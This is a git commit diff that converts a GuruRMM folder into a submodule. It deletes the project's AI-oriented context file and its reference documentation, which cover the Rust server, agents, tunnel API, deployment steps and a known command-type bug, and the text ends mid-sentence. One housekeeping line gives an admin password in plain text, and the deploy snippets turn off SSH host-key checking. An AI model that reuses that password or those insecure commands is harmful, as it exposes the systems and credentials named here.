refactor: convert guru-rmm to git submodule (gururmm Gitea repo)
Removes the stale copy of gururmm source from claudetools tracking and replaces it with a submodule pointing to the live gururmm Gitea repo. Fixes context drift between session logs and actual codebase state. Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
This commit is contained in:
3
.gitmodules
vendored
Normal file
3
.gitmodules
vendored
Normal file
@@ -0,0 +1,3 @@
|
||||
[submodule "projects/msp-tools/guru-rmm"]
|
||||
path = projects/msp-tools/guru-rmm
|
||||
url = https://git.azcomputerguru.com/azcomputerguru/gururmm.git
|
||||
1
projects/msp-tools/guru-rmm
Submodule
1
projects/msp-tools/guru-rmm
Submodule
Submodule projects/msp-tools/guru-rmm added at b5bc068880
@@ -1,383 +0,0 @@
|
||||
# GuruRMM - Project Context
|
||||
|
||||
**Last Updated:** 2026-04-15
|
||||
**Status:** Active Development - Tunnel Phase 1 Verified Live; Phase 2 Unblocked
|
||||
|
||||
## Quick Start - Infrastructure Overview
|
||||
|
||||
| Component | Location | Access |
|
||||
|-----------|----------|--------|
|
||||
| **Production Server** | 172.16.3.30 (gururmm) | SSH: op://Infrastructure/GuruRMM Server/username |
|
||||
| **Public API** | https://rmm-api.azcomputerguru.com | Via Cloudflare Tunnel |
|
||||
| **Internal API** | http://172.16.3.30:3001 | Direct access |
|
||||
| **Database** | PostgreSQL @ 172.16.3.30:5432/gururmm | op://Infrastructure/GuruRMM Server/PostgreSQL * |
|
||||
| **Build Server** | Same host (gururmm-build) | Linux native builds only |
|
||||
| **Agent Downloads** | /var/www/gururmm/downloads/ | Nginx on port 80 |
|
||||
| **Gitea Repo** | git.azcomputerguru.com/azcomputerguru/gururmm | Active (NOT guru-rmm) |
|
||||
|
||||
**All credentials:** `op read "op://Infrastructure/GuruRMM Server/[field]"`
|
||||
|
||||
## Current State (READ THIS FIRST)
|
||||
|
||||
### Version & Deployment
|
||||
- **Server:** v0.6.0 (commit c7c8317) - deployed 2026-04-14
|
||||
- **Agent:** v0.6.0 (Linux + Windows builds) - deployed 2026-04-14
|
||||
- **Database:** Migrations 001-010 applied
|
||||
- **Service Status:** gururmm-server.service running (PID 944198)
|
||||
|
||||
### Active Work
|
||||
- **Phase 1 Complete:** Tunnel infrastructure (REST API, WebSocket protocol, database schema, agent state machine)
|
||||
- **Phase 2 Pending:** Channel implementation (Terminal, File, Registry, Service)
|
||||
- **Phase 3 Not Started:** Production hardening (rate limiting, timeouts, metrics)
|
||||
|
||||
### Agent Fleet Status (as of 2026-04-15 03:20 UTC)
|
||||
- **Online:** 2/6 agents
|
||||
- AD2 (Windows 10, v0.6.0) - ID: d28a1c90-47d7-448f-a287-197bc8892234
|
||||
- DESKTOP-0O8A1RL (Windows 11, v0.6.0) - ID: 0b2527cc-ab3f-49d9-9a06-bfd0b4a613a7
|
||||
- **Offline:** 4/6 agents
|
||||
- SL-SERVER: **STUCK IN PENDING UPDATE** - requires manual service restart
|
||||
|
||||
### Recent Session Logs (MUST READ BEFORE CONTINUING WORK)
|
||||
- **2026-04-15:** End-to-end tunnel lifecycle verified via public API. Three actionable findings — `session-logs/2026-04-15-session.md`
|
||||
- **2026-04-14:** Tunnel API testing, authentication fix - `session-logs/2026-04-14-session.md`
|
||||
- **2026-04-02:** Tunnel implementation, update bug fixes - See git history
|
||||
- **2026-04-01:** Cloudflare Tunnel configuration - See credentials.md
|
||||
|
||||
### What To Do Next (priority order, revised 2026-04-15)
|
||||
|
||||
**Architectural pivot:** multi-tenancy is now a core requirement (product going to MSP market). Logging split into three tiers (agent OS-native / client event pull / tunnel audit to DB). Detailed breakdown in ROADMAP.md (sections: Logging & Audit, Multi-tenancy, Tunnel Channels).
|
||||
|
||||
1. **Fix `/api/v1/tunnel/status/{id}` 403 bug** — `server/src/db/tunnel.rs:94-103`. Small PR. Blocks Phase 2 integration tests. (Roadmap S8.)
|
||||
2. **Agent self-logging via OS-native sinks** — Windows Event Log provider, Linux journald, macOS os_log. Ship before anything else touches Phase 2. (Roadmap L1.)
|
||||
3. **Tech-side tunnel subscriber design** — browser needs a WS endpoint to receive tunnel data; `server/src/ws/mod.rs:808-825` currently discards `AgentMessage::TunnelData`. Decide pub-sub shape before implementing any channel. (Roadmap T5.)
|
||||
4. **Multi-tenancy schema** — `tenant_id` on every table. Auth middleware filters by tenant. Do this before building more features because retroactive migration cost scales with schema size. (Roadmap M1-M2.)
|
||||
5. **Terminal channel** — only after 1-4. `tokio::process::Command` in `agent/src/transport/websocket.rs:handle_tunnel_data()`. (Roadmap T1.)
|
||||
6. **Client event pull (`client_events` table)** — 15-min delta + on-tunnel-open/close. Windows Get-WinEvent, Linux journalctl, macOS log show. (Roadmap L2-L4.)
|
||||
|
||||
**Housekeeping:**
|
||||
- Update 1Password `Infrastructure/GuruRMM Server/Admin Password` to `GuruRMM2025` (stored value is stale and fails login).
|
||||
- Add agent file logging (`C:\ProgramData\GuruRMM\agent.log`) as bridge until OS-native sinks land — lets Phase 2 work proceed with visibility.
|
||||
|
||||
## Anti-Patterns (DON'T DO THIS)
|
||||
|
||||
❌ **DO NOT build on macOS** - Binaries won't run on Linux server. SSH to 172.16.3.30 and build natively.
|
||||
|
||||
❌ **DO NOT query database directly** - Use Database Agent for ALL database operations (coordinator role).
|
||||
|
||||
❌ **DO NOT point downloads URL to port 3001** - API server doesn't serve /downloads. Use nginx (port 80) or public URL.
|
||||
|
||||
❌ **DO NOT hardcode credentials** - Always fetch from 1Password: `op read "op://Infrastructure/GuruRMM Server/..."`
|
||||
|
||||
❌ **DO NOT create new password utilities** - Use `/tmp/hash_password` (already compiled):
|
||||
```bash
|
||||
/tmp/target/release/hash_password "password_here"
|
||||
# Output: $argon2id$v=19$m=19456,t=2,p=1$...[97 chars]
|
||||
```
|
||||
|
||||
❌ **DO NOT build in CloudeTools repo** - Active repo is `gururmm` on Gitea, not `guru-rmm`.
|
||||
|
||||
❌ **DO NOT use emojis** - ASCII markers only: [OK], [ERROR], [WARNING], [SUCCESS], [INFO]
|
||||
|
||||
❌ **DO NOT make breaking changes to `/api/v1/bootstrap/hello`** - This is the anchor that lets long-offline agents reconnect and self-upgrade. Input and output schemas are **additive-only forever**. An agent from v0.1 must be able to hit this endpoint in 2030 and get a meaningful response telling it how to update. Every other endpoint/message is free to evolve; this one is not. See ROADMAP.md V1-V10.
|
||||
|
||||
❌ **DO NOT cross module boundaries by importing another module's internals** - The product is architected modularly (core + PSA + backups + syslog + ...). Modules own their schema namespace and never touch another module's tables. Cross-module communication goes through the event bus or that module's exposed API only. Core and modules are separate Rust crates by design; enforce via `use` restrictions. Breaking this discipline once poisons the whole architecture. See ROADMAP.md X1-X12.
|
||||
|
||||
### Hierarchy Terminology (use these exact terms)
|
||||
|
||||
| Tier | Term | DB | Meaning |
|
||||
|---|---|---|---|
|
||||
| 1 | Platform | — | The software author (us, GuruRMM) |
|
||||
| 2 | Partner | `tenant_id` | An MSP — a paying customer of the Platform |
|
||||
| 3 | Client | `client_id` | A Partner's customer |
|
||||
| 4 | Site | `site_id` | A location within a Client (physical or logical) |
|
||||
| 5 | Agent | `agent_id` | An endpoint at a Site |
|
||||
|
||||
UI/API says "Partner"; DB column is `tenant_id`. Do not rename. Do not use "sub-tenant" or bare "customer". Full canonical definition + API path convention + event topic naming in ROADMAP.md Terminology section.
|
||||
|
||||
## Where to Find Things
|
||||
|
||||
### Codebase Structure
|
||||
```
|
||||
projects/msp-tools/guru-rmm/
|
||||
├── server/ # Rust API server
|
||||
│ ├── src/
|
||||
│ │ ├── api/ # REST endpoints
|
||||
│ │ │ ├── tunnel.rs # Tunnel API (Phase 1 complete)
|
||||
│ │ │ ├── agents.rs # Agent management
|
||||
│ │ │ └── auth.rs # Login/JWT
|
||||
│ │ ├── db/ # Database operations
|
||||
│ │ │ ├── tunnel.rs # Tunnel queries
|
||||
│ │ │ └── agents.rs # Agent queries
|
||||
│ │ ├── ws/ # WebSocket protocol
|
||||
│ │ │ └── mod.rs # ServerMessage/AgentMessage enums
|
||||
│ │ └── auth/ # Password hashing (Argon2id)
|
||||
│ └── migrations/ # Database schema (001-010)
|
||||
│ └── 010_tunnel_sessions.sql # Tunnel tables (tech_sessions, tunnel_audit)
|
||||
├── agent/ # Rust agent binary
|
||||
│ ├── src/
|
||||
│ │ ├── tunnel/ # Tunnel manager (Phase 1 complete)
|
||||
│ │ │ └── mod.rs # AgentMode state machine
|
||||
│ │ ├── updater/ # Self-update system (v0.6.0 fixes applied)
|
||||
│ │ └── transport/ # WebSocket client
|
||||
│ └── Cargo.toml
|
||||
├── session-logs/ # Work history (READ BEFORE STARTING)
|
||||
└── ROADMAP.md # Feature roadmap
|
||||
```
|
||||
|
||||
### Production Files on Server (172.16.3.30)
|
||||
- **Binary:** /opt/gururmm/gururmm-server
|
||||
- **Config:** /opt/gururmm/.env
|
||||
- **Service:** systemctl status gururmm-server
|
||||
- **Logs:** journalctl -u gururmm-server -n 100
|
||||
- **Downloads:** /var/www/gururmm/downloads/ (served by nginx)
|
||||
|
||||
### Cloudflare Tunnel Config (Jupiter NAS)
|
||||
- **Location:** /mnt/cache/appdata/cloudflared/config.yml
|
||||
- **Hostname:** rmm-api.azcomputerguru.com
|
||||
- **Target:** http://172.16.3.30 (nginx port 80, NOT API port 3001)
|
||||
- **Container:** cloudflared (restart to apply changes)
|
||||
|
||||
## Common Operations
|
||||
|
||||
### Deploy Server Binary
|
||||
```bash
|
||||
# SSH to build server
|
||||
SSH_USER=$(op read "op://Infrastructure/GuruRMM Server/username")
|
||||
SSH_PASS=$(op read "op://Infrastructure/GuruRMM Server/password")
|
||||
sshpass -p "${SSH_PASS}" ssh -o StrictHostKeyChecking=no ${SSH_USER}@172.16.3.30
|
||||
|
||||
# Build on Linux (native)
|
||||
cd /opt/gururmm/server
|
||||
cargo build --release
|
||||
|
||||
# Install
|
||||
sudo systemctl stop gururmm-server
|
||||
sudo cp target/release/gururmm-server /opt/gururmm/
|
||||
sudo systemctl start gururmm-server
|
||||
|
||||
# Verify
|
||||
systemctl status gururmm-server
|
||||
curl http://localhost:3001/health # Should return "OK"
|
||||
```
|
||||
|
||||
### Deploy Agent Binaries
|
||||
```bash
|
||||
# SSH to build server
|
||||
ssh ${SSH_USER}@172.16.3.30
|
||||
|
||||
# Build Linux agent
|
||||
cd /opt/gururmm/agent
|
||||
cargo build --release --target x86_64-unknown-linux-gnu
|
||||
|
||||
# Build Windows agent (cross-compile)
|
||||
cargo build --release --target x86_64-pc-windows-gnu
|
||||
|
||||
# Generate checksums
|
||||
cd /var/www/gururmm/downloads/
|
||||
sha256sum gururmm-agent-linux-x64 > gururmm-agent-linux-x64.sha256
|
||||
sha256sum gururmm-agent-windows-x64.exe > gururmm-agent-windows-x64.exe.sha256
|
||||
|
||||
# Agents will auto-update on next heartbeat
|
||||
```
|
||||
|
||||
### Test Tunnel API Endpoints
|
||||
```bash
|
||||
# Get JWT token
|
||||
ADMIN_PASS=$(op read "op://Infrastructure/GuruRMM Server/Admin Password")
|
||||
TOKEN=$(curl -s http://172.16.3.30:3001/api/auth/login \
|
||||
-H "Content-Type: application/json" \
|
||||
-d "{\"email\":\"admin@azcomputerguru.com\",\"password\":\"${ADMIN_PASS}\"}" | \
|
||||
python3 -c "import sys, json; print(json.load(sys.stdin)['token'])")
|
||||
|
||||
# Open tunnel to AD2
|
||||
curl -s http://172.16.3.30:3001/api/v1/tunnel/open \
|
||||
-H "Authorization: Bearer ${TOKEN}" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"agent_id":"d28a1c90-47d7-448f-a287-197bc8892234"}' | jq '.'
|
||||
|
||||
# Get status (save session_id from above)
|
||||
curl -s http://172.16.3.30:3001/api/v1/tunnel/status/SESSION_ID \
|
||||
-H "Authorization: Bearer ${TOKEN}" | jq '.'
|
||||
|
||||
# Close tunnel
|
||||
curl -s http://172.16.3.30:3001/api/v1/tunnel/close \
|
||||
-H "Authorization: Bearer ${TOKEN}" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"session_id":"SESSION_ID"}' | jq '.'
|
||||
```
|
||||
|
||||
**Full examples with output:** See session-logs/2026-04-14-session.md (lines 170-230)
|
||||
|
||||
### Check Agent Status
|
||||
```bash
|
||||
# Get list of agents
|
||||
curl -s http://172.16.3.30:3001/api/agents \
|
||||
-H "Authorization: Bearer ${TOKEN}" | jq '.'
|
||||
|
||||
# Filter online agents only
|
||||
curl -s http://172.16.3.30:3001/api/agents \
|
||||
-H "Authorization: Bearer ${TOKEN}" | \
|
||||
jq '[.[] | select(.status == "online") | {hostname, agent_version, last_seen}]'
|
||||
```
|
||||
|
||||
### Database Operations (USE DATABASE AGENT)
|
||||
```bash
|
||||
# DO NOT query directly - delegate to Database Agent
|
||||
# Agent will handle credentials and connection automatically
|
||||
|
||||
# Example request to Database Agent:
|
||||
# "Use Database Agent to query tech_sessions table for active tunnels"
|
||||
```
|
||||
|
||||
### Access Database Manually (Emergency Only)
|
||||
```bash
|
||||
SSH_USER=$(op read "op://Infrastructure/GuruRMM Server/username")
|
||||
SSH_PASS=$(op read "op://Infrastructure/GuruRMM Server/password")
|
||||
PGPASS=$(op read "op://Infrastructure/GuruRMM Server/PostgreSQL Password")
|
||||
|
||||
sshpass -p "${SSH_PASS}" ssh -o StrictHostKeyChecking=no ${SSH_USER}@172.16.3.30 \
|
||||
"PGPASSWORD='${PGPASS}' psql -h localhost -U gururmm -d gururmm"
|
||||
```
|
||||
|
||||
## Key Technical Decisions (ADRs)
|
||||
|
||||
**2026-04-14:** Use Argon2id for password hashing (not bcrypt)
|
||||
- Library: argon2 crate v0.5
|
||||
- Config: m=19456, t=2, p=1
|
||||
- Output: 97-character hash string
|
||||
|
||||
**2026-04-02:** Tunnel sessions use tech_id FK to users table
|
||||
- Enables session ownership validation
|
||||
- Prevents cross-tech session access in multi-tenant environment
|
||||
- Session status query returns 403 if not owned by requesting tech
|
||||
|
||||
**2026-04-01:** Downloads URL points to nginx (port 80), not API (port 3001)
|
||||
- API server doesn't serve static files
|
||||
- Nginx configured at /var/www/gururmm/downloads/
|
||||
- Cloudflare Tunnel routes rmm-api.azcomputerguru.com to nginx
|
||||
|
||||
**2026-04-01:** Agent update system uses atomic rename pattern (Unix)
|
||||
- Eliminates race condition between backup and install
|
||||
- Copy to temp → chmod +x → rename (atomic)
|
||||
- Includes rollback on restart failure (v0.6.0 fix)
|
||||
|
||||
## Tunnel Architecture (Phase 1 Complete)
|
||||
|
||||
### Session Lifecycle
|
||||
1. Tech opens tunnel: POST /api/v1/tunnel/open → creates tech_session record
|
||||
2. Server sends TunnelOpen via WebSocket → agent receives
|
||||
3. Agent transitions Heartbeat → Tunnel mode → sends TunnelReady
|
||||
4. Tech can now send channel operations (Phase 2, not implemented)
|
||||
5. Tech closes tunnel: POST /api/v1/tunnel/close → updates tech_session.status='closed'
|
||||
6. Server sends TunnelClose → agent transitions back to Heartbeat mode
|
||||
|
||||
### Database Schema
|
||||
```sql
|
||||
-- tech_sessions: Active tunnel sessions
|
||||
CREATE TABLE tech_sessions (
|
||||
id SERIAL PRIMARY KEY,
|
||||
session_id VARCHAR(36) UNIQUE NOT NULL,
|
||||
tech_id UUID REFERENCES users(id),
|
||||
agent_id UUID REFERENCES agents(id),
|
||||
status VARCHAR(20) DEFAULT 'active',
|
||||
opened_at TIMESTAMPTZ DEFAULT NOW(),
|
||||
closed_at TIMESTAMPTZ
|
||||
);
|
||||
|
||||
-- Unique constraint: one active session per tech+agent
|
||||
CREATE UNIQUE INDEX idx_tech_sessions_active
|
||||
ON tech_sessions(tech_id, agent_id, status) WHERE status = 'active';
|
||||
|
||||
-- tunnel_audit: Audit log for tunnel operations
|
||||
CREATE TABLE tunnel_audit (
|
||||
id BIGSERIAL PRIMARY KEY,
|
||||
session_id VARCHAR(36) REFERENCES tech_sessions(session_id),
|
||||
channel_id VARCHAR(36),
|
||||
operation VARCHAR(50),
|
||||
details JSONB,
|
||||
created_at TIMESTAMPTZ DEFAULT NOW()
|
||||
);
|
||||
```
|
||||
|
||||
### WebSocket Protocol
|
||||
```rust
|
||||
// Server → Agent
|
||||
enum ServerMessage {
|
||||
TunnelOpen { session_id: String, tech_id: Uuid },
|
||||
TunnelClose { session_id: String },
|
||||
TunnelData { channel_id: String, data: TunnelDataPayload },
|
||||
}
|
||||
|
||||
// Agent → Server
|
||||
enum AgentMessage {
|
||||
TunnelReady { session_id: String },
|
||||
TunnelData { channel_id: String, data: TunnelDataPayload },
|
||||
TunnelError { channel_id: String, error: String },
|
||||
}
|
||||
```
|
||||
|
||||
## Roadmap
|
||||
|
||||
### Phase 2: Channel Implementation (Next)
|
||||
- [ ] Terminal channel (shell command execution)
|
||||
- [ ] File channel (upload/download with progress)
|
||||
- [ ] Registry channel (Windows registry access)
|
||||
- [ ] Service channel (Windows service management)
|
||||
- [ ] WebSocket data forwarding (tech ↔ server ↔ agent)
|
||||
- [ ] Dashboard UI for tunnel management
|
||||
|
||||
### Phase 3: Production Hardening
|
||||
- [ ] Rate limiting on tunnel operations
|
||||
- [ ] Session timeout enforcement (max duration)
|
||||
- [ ] Concurrent session limits per tech
|
||||
- [ ] Audit log cleanup/archival (retention policy)
|
||||
- [ ] Metrics collection (session duration, data transferred)
|
||||
- [ ] Alerting on suspicious tunnel activity
|
||||
|
||||
### Backlog
|
||||
- [ ] Fix SL-SERVER stuck update (manual restart required)
|
||||
- [ ] Investigate 4 duplicate agent records in database (2x SL-SERVER seen)
|
||||
- [ ] Windows update system testing (scheduled task timing)
|
||||
- [ ] Agent reconnection on network failure
|
||||
- [ ] Multi-tenant access control audit
|
||||
- [ ] **[2026-04-15] Status endpoint returns 403 for closed sessions** — should return `{status: closed}` with session record when caller owns it. See session log. (Tracked as Roadmap S8.)
|
||||
- [ ] **[2026-04-15] Agent writes no logs** — add tracing+file appender to `agent/src/main.rs`; logs to `C:\ProgramData\GuruRMM\agent.log`. (Bridge to Roadmap L1 OS-native sinks.)
|
||||
- [ ] **[2026-04-15] Logging redesign — three-tier architecture.** See ROADMAP.md "Logging, Audit & Observability" section (L1-L10).
|
||||
- [ ] **[2026-04-15] Multi-tenancy schema refactor.** See ROADMAP.md "Multi-tenancy / MSP SaaS" section (M1-M7). Blocks scaling to other MSPs.
|
||||
- [ ] **[2026-04-15] Tunnel Channels (Phase 2).** See ROADMAP.md "Tunnel Channels" section (T1-T8). T5 (tech-side subscriber) is the gating design decision.
|
||||
|
||||
## Useful Links
|
||||
|
||||
- **Roadmap:** projects/msp-tools/guru-rmm/ROADMAP.md
|
||||
- **Latest Session:** session-logs/2026-04-14-session.md
|
||||
- **Gitea Repo:** http://172.16.3.20:3000/azcomputerguru/gururmm
|
||||
- **Credentials:** credentials.md (search for "GuruRMM Server")
|
||||
|
||||
## Quick Reference - API Endpoints
|
||||
|
||||
### Authentication
|
||||
- POST /api/auth/login - Get JWT token
|
||||
- POST /api/auth/register - Create first admin (disabled after first user)
|
||||
- GET /api/auth/me - Get current user info
|
||||
|
||||
### Tunnel Management (Phase 1)
|
||||
- POST /api/v1/tunnel/open - Open tunnel session
|
||||
- GET /api/v1/tunnel/status/:session_id - Get session status
|
||||
- POST /api/v1/tunnel/close - Close tunnel session
|
||||
|
||||
### Agents
|
||||
- GET /api/agents - List all agents with details
|
||||
- GET /api/agents/:id - Get specific agent
|
||||
- POST /api/agents/:id/move - Move agent to different site
|
||||
- DELETE /api/agents/:id - Delete agent
|
||||
|
||||
### Commands
|
||||
- POST /api/agents/:id/command - Send command to agent
|
||||
- GET /api/commands - List command history
|
||||
- GET /api/commands/:id - Get command result
|
||||
|
||||
---
|
||||
|
||||
**Before starting work:** Read latest session log in session-logs/ directory
|
||||
**For context recovery:** Use /context skill to search previous work
|
||||
**For credentials:** Always use 1Password - never hardcode
|
||||
@@ -1,606 +0,0 @@
|
||||
# GuruRMM - Complete Reference Documentation
|
||||
|
||||
**Project:** GuruRMM - Remote Monitoring and Management Platform
|
||||
**Version:** Server 0.2.0 / Agent 0.3.5 (deployed as 0.5.1)
|
||||
**Last Updated:** 2026-02-17
|
||||
|
||||
---
|
||||
|
||||
## Table of Contents
|
||||
|
||||
1. [Project Overview](#project-overview)
|
||||
2. [Architecture](#architecture)
|
||||
3. [API Endpoints](#api-endpoints)
|
||||
4. [WebSocket Protocol](#websocket-protocol)
|
||||
5. [Command Execution](#command-execution)
|
||||
6. [Claude Code Integration](#claude-code-integration)
|
||||
7. [Agent Configuration](#agent-configuration)
|
||||
8. [Deployed Agents](#deployed-agents)
|
||||
9. [Database](#database)
|
||||
10. [Authentication](#authentication)
|
||||
11. [Auto-Update System](#auto-update-system)
|
||||
12. [Known Issues](#known-issues)
|
||||
13. [Development](#development)
|
||||
14. [File Structure](#file-structure)
|
||||
|
||||
---
|
||||
|
||||
## Project Overview
|
||||
|
||||
GuruRMM is a Remote Monitoring and Management (RMM) platform built entirely in Rust. It provides real-time agent monitoring, remote command execution, system metrics collection, and service watchdog capabilities for managed IT environments.
|
||||
|
||||
### Technology Stack
|
||||
|
||||
| Component | Technology | Version |
|
||||
|------------|-----------------------------------------|---------|
|
||||
| Server | Rust (Axum 0.7, SQLx 0.8, PostgreSQL) | 0.2.0 |
|
||||
| Agent | Rust (cross-platform, native service) | 0.3.5 (deployed as 0.5.1) |
|
||||
| Dashboard | React + TypeScript + Vite | -- |
|
||||
| Real-time | WebSocket (tokio-tungstenite) | -- |
|
||||
| Database | PostgreSQL | -- |
|
||||
|
||||
---
|
||||
|
||||
## Architecture
|
||||
|
||||
### Server
|
||||
|
||||
- **Internal Address:** 172.16.3.30:3001
|
||||
- **Production URL:** https://rmm-api.azcomputerguru.com
|
||||
- **WebSocket Endpoint:** wss://rmm-api.azcomputerguru.com/ws
|
||||
- **Database:** PostgreSQL (same server)
|
||||
- **Service:** systemd unit `gururmm-server`
|
||||
- **Source:** `D:\ClaudeTools\projects\msp-tools\guru-rmm\server\`
|
||||
|
||||
### Agent
|
||||
|
||||
- **Windows Service Name:** GuruRMM (uses native-service feature)
|
||||
- **Legacy Mode:** NSSM wrapper for Windows 7 / Server 2008 R2
|
||||
- **Config Path:** `C:\ProgramData\GuruRMM\agent.toml`
|
||||
- **Binary Path:** `C:\Program Files\GuruRMM\gururmm-agent.exe`
|
||||
- **Source:** `D:\ClaudeTools\projects\msp-tools\guru-rmm\agent\`
|
||||
|
||||
### Communication Model
|
||||
|
||||
```
|
||||
+-------------------+ WebSocket (persistent, bidirectional) +-------------------+
|
||||
| GuruRMM Agent | <-----------------------------------------------> | GuruRMM Server |
|
||||
| (Windows/Linux) | | (Axum + Tokio) |
|
||||
+-------------------+ +-------------------+
|
||||
|
|
||||
| REST API (JWT)
|
||||
v
|
||||
+-------------------+
|
||||
| Dashboard |
|
||||
| (React + TS) |
|
||||
+-------------------+
|
||||
```
|
||||
|
||||
- **Primary:** WebSocket -- persistent bidirectional connection between agent and server
|
||||
- **Legacy Fallback:** REST heartbeat polling -- [WARNING] NOT FULLY IMPLEMENTED
|
||||
- **Auth:** API key sent in initial WebSocket authentication message
|
||||
- **Site-Based Auth:** WORD-WORD-NUMBER format site codes combined with device_id
|
||||
|
||||
---
|
||||
|
||||
## API Endpoints
|
||||
|
||||
### Authentication
|
||||
|
||||
| Method | Path | Description | Auth Required |
|
||||
|--------|--------------------|----------------------------|---------------|
|
||||
| POST | /api/auth/login | User login (email/password -> JWT) | No |
|
||||
| POST | /api/auth/register | User registration | No (disabled) |
|
||||
| GET | /api/auth/me | Get current user info | Yes |
|
||||
|
||||
### Clients
|
||||
|
||||
| Method | Path | Description | Auth Required |
|
||||
|--------|-------------------------|-------------------------|---------------|
|
||||
| GET | /api/clients | List all clients | Yes |
|
||||
| POST | /api/clients | Create client | Yes |
|
||||
| GET | /api/clients/:id | Get client by ID | Yes |
|
||||
| PUT | /api/clients/:id | Update client | Yes |
|
||||
| DELETE | /api/clients/:id | Delete client | Yes |
|
||||
| GET | /api/clients/:id/sites | List client's sites | Yes |
|
||||
|
||||
### Sites
|
||||
|
||||
| Method | Path | Description | Auth Required |
|
||||
|--------|--------------------------------|--------------------------|---------------|
|
||||
| GET | /api/sites | List all sites | Yes |
|
||||
| POST | /api/sites | Create site | Yes |
|
||||
| GET | /api/sites/:id | Get site by ID | Yes |
|
||||
| PUT | /api/sites/:id | Update site | Yes |
|
||||
| DELETE | /api/sites/:id | Delete site | Yes |
|
||||
| POST | /api/sites/:id/regenerate-key | Regenerate site API key | Yes |
|
||||
|
||||
### Agents
|
||||
|
||||
| Method | Path | Description | Auth Required |
|
||||
|--------|--------------------------|--------------------------------------|---------------|
|
||||
| GET | /api/agents | List all agents | Yes |
|
||||
| POST | /api/agents | Register agent (authenticated) | Yes |
|
||||
| GET | /api/agents/stats | Agent statistics | Yes |
|
||||
| GET | /api/agents/unassigned | List unassigned agents | Yes |
|
||||
| GET | /api/agents/:id | Get agent details | Yes |
|
||||
| DELETE | /api/agents/:id | Delete agent | Yes |
|
||||
| POST | /api/agents/:id/move | Move agent to different site | Yes |
|
||||
| GET | /api/agents/:id/state | Get agent state (network, metrics) | Yes |
|
||||
|
||||
### Commands
|
||||
|
||||
| Method | Path | Description | Auth Required |
|
||||
|--------|----------------------------|----------------------------|---------------|
|
||||
| POST | /api/agents/:id/command | Send command to agent | Yes |
|
||||
| GET | /api/commands | List recent commands | Yes |
|
||||
| GET | /api/commands/:id | Get command status/result | Yes |
|
||||
|
||||
### Metrics
|
||||
|
||||
| Method | Path | Description | Auth Required |
|
||||
|--------|----------------------------|---------------------------|---------------|
|
||||
| GET | /api/agents/:id/metrics | Get agent metrics history | Yes |
|
||||
| GET | /api/metrics/summary | Metrics summary | Yes |
|
||||
|
||||
### Legacy Agent Endpoints
|
||||
|
||||
These endpoints do **not** require JWT authentication. They are used by agents in legacy polling mode.
|
||||
|
||||
| Method | Path | Description | Auth Required |
|
||||
|--------|-------------------------------|------------------------------|---------------|
|
||||
| POST | /api/agent/register-legacy | Register with site code | No |
|
||||
| POST | /api/agent/heartbeat | Agent heartbeat | No |
|
||||
| POST | /api/agent/command-result | Submit command result | No |
|
||||
|
||||
[WARNING] Legacy heartbeat returns empty `pending_commands` -- not implemented (agents.rs line 334).
|
||||
[WARNING] Legacy command-result endpoint does not store results (agents.rs lines 354-360).
|
||||
|
||||
### WebSocket
|
||||
|
||||
| Method | Path | Description | Auth Required |
|
||||
|--------|------|------------------------|---------------------|
|
||||
| GET | /ws | WebSocket upgrade | API key in auth msg |
|
||||
|
||||
---
|
||||
|
||||
## WebSocket Protocol
|
||||
|
||||
### Connection Flow
|
||||
|
||||
1. Client initiates WebSocket upgrade to `wss://rmm-api.azcomputerguru.com/ws`
|
||||
2. Agent sends authentication message with API key and device info
|
||||
3. Server validates API key (SHA256 hash match or site code lookup)
|
||||
4. On success, server registers the WebSocket connection for the agent
|
||||
5. Bidirectional message exchange begins
|
||||
|
||||
### Message Types
|
||||
|
||||
**Agent -> Server:**
|
||||
|
||||
- `Auth` -- Initial authentication payload (api_key, hostname, os_info, version)
|
||||
- `Heartbeat` -- Periodic keepalive
|
||||
- `MetricsReport` -- System metrics (CPU, memory, disk, network)
|
||||
- `NetworkState` -- Network configuration snapshot (hash-based change detection)
|
||||
- `CommandResult` -- Result of executed command (exit_code, stdout, stderr, duration)
|
||||
- `WatchdogEvent` -- Service monitoring event
|
||||
|
||||
**Server -> Agent:**
|
||||
|
||||
- `AuthResponse` -- Success/failure of authentication
|
||||
- `Command` -- Command to execute (CommandPayload)
|
||||
- `Update` -- Auto-update instruction (download_url, checksum)
|
||||
- `Ping` -- Keepalive ping
|
||||
|
||||
---
|
||||
|
||||
## Command Execution
|
||||
|
||||
### Command Types
|
||||
|
||||
| Type | Description | Shell Used |
|
||||
|--------------|----------------------------------------------|---------------------------------------------|
|
||||
| shell | System shell command | cmd.exe (Windows), /bin/sh (Unix) |
|
||||
| powershell | PowerShell command | powershell -NoProfile -NonInteractive -Command |
|
||||
| python | Python inline code | python -c |
|
||||
| script | Custom interpreter | Configurable |
|
||||
| claude_task | Claude Code task execution (special handler) | Claude Code CLI |
|
||||
|
||||
### Command Flow
|
||||
|
||||
```
|
||||
1. Dashboard sends POST /api/agents/:id/command
|
||||
Body: { command_type, command, timeout_seconds, elevated }
|
||||
|
||||
2. Server creates command record in database (status = pending)
|
||||
|
||||
3. If agent is connected via WebSocket:
|
||||
-> Server sends command via WebSocket
|
||||
-> Status updated to "running"
|
||||
|
||||
4. If agent is offline:
|
||||
-> Command stays as "pending" (queued)
|
||||
|
||||
5. Agent receives command and executes it
|
||||
|
||||
6. Agent sends CommandResult back via WebSocket
|
||||
-> { id, exit_code, stdout, stderr, duration_ms }
|
||||
|
||||
7. Server updates database with result
|
||||
```
|
||||
|
||||
### Command States
|
||||
|
||||
| State | Description |
|
||||
|-----------|------------------------------------------------|
|
||||
| pending | Created, agent offline or not yet sent |
|
||||
| running | Sent to agent via WebSocket, awaiting result |
|
||||
| completed | Agent reported exit_code = 0 |
|
||||
| failed | Agent reported exit_code != 0 |
|
||||
|
||||
### [BUG] Server-Agent Command Type Mismatch
|
||||
|
||||
This is a **critical** known bug that prevents all remote command execution.
|
||||
|
||||
**Root Cause:**
|
||||
|
||||
The server's `CommandPayload` serializes `command_type` as a plain JSON string:
|
||||
|
||||
```json
|
||||
{"command_type": "powershell", "command": "Get-Process", ...}
|
||||
```
|
||||
|
||||
The agent's `CommandPayload` expects `command_type` as a Rust enum (`CommandType::PowerShell`), which serde deserializes from an object or tagged format, not a bare string.
|
||||
|
||||
**Result:** Serde deserialization fails silently on the agent side. Commands are never executed. All commands remain in "running" state permanently because no `CommandResult` is ever sent back.
|
||||
|
||||
**Fix Required:** Either:
|
||||
